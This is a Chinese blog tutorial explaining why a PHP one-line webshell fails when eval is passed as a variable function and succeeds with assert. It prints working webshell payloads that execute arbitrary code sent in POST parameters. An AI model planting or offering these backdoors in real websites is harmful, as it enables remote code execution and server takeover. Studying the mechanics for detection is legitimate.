assert和eval成功失败原因

可以看到这样的一句话木马

<?php
$_POST['1']($_POST['2']);
eval() 可变函数
phpinfo()
strpos()
assert()

把POST中的1传成:eval

<?php
@eval($_POST['2']);
?>

虽然可以实现,很容易被发现,但是:这样的方式连接失败

 

 

因为eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

这么看来eval其实并不能算是‘函数’,而是PHP自身的语言结构,如果需要用‘可变’的方式调用,需要自己构造,类似这样子的:

<?php
function eval_1($str)
{
   eval($str);
}
 
$a='eval_1';
$a('phpinfo()');
?>

而我们使用assert则可以成功,因为assert在php中被认为是一个函数,这样提交参数相当于将PHP中代码变成了

<?php
assert(eval($_POST['2']));
?>

 

终于连接成功,说明这个方法是可行的 ,成功原因:assert在php中被认为是一个函数

这里再次强调一点,请牢记

eval函数中参数是字符,如:
eval('echo 1;');
assert函数中参数为表达式 (或者为函数),如:
assert(phpinfo()) 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值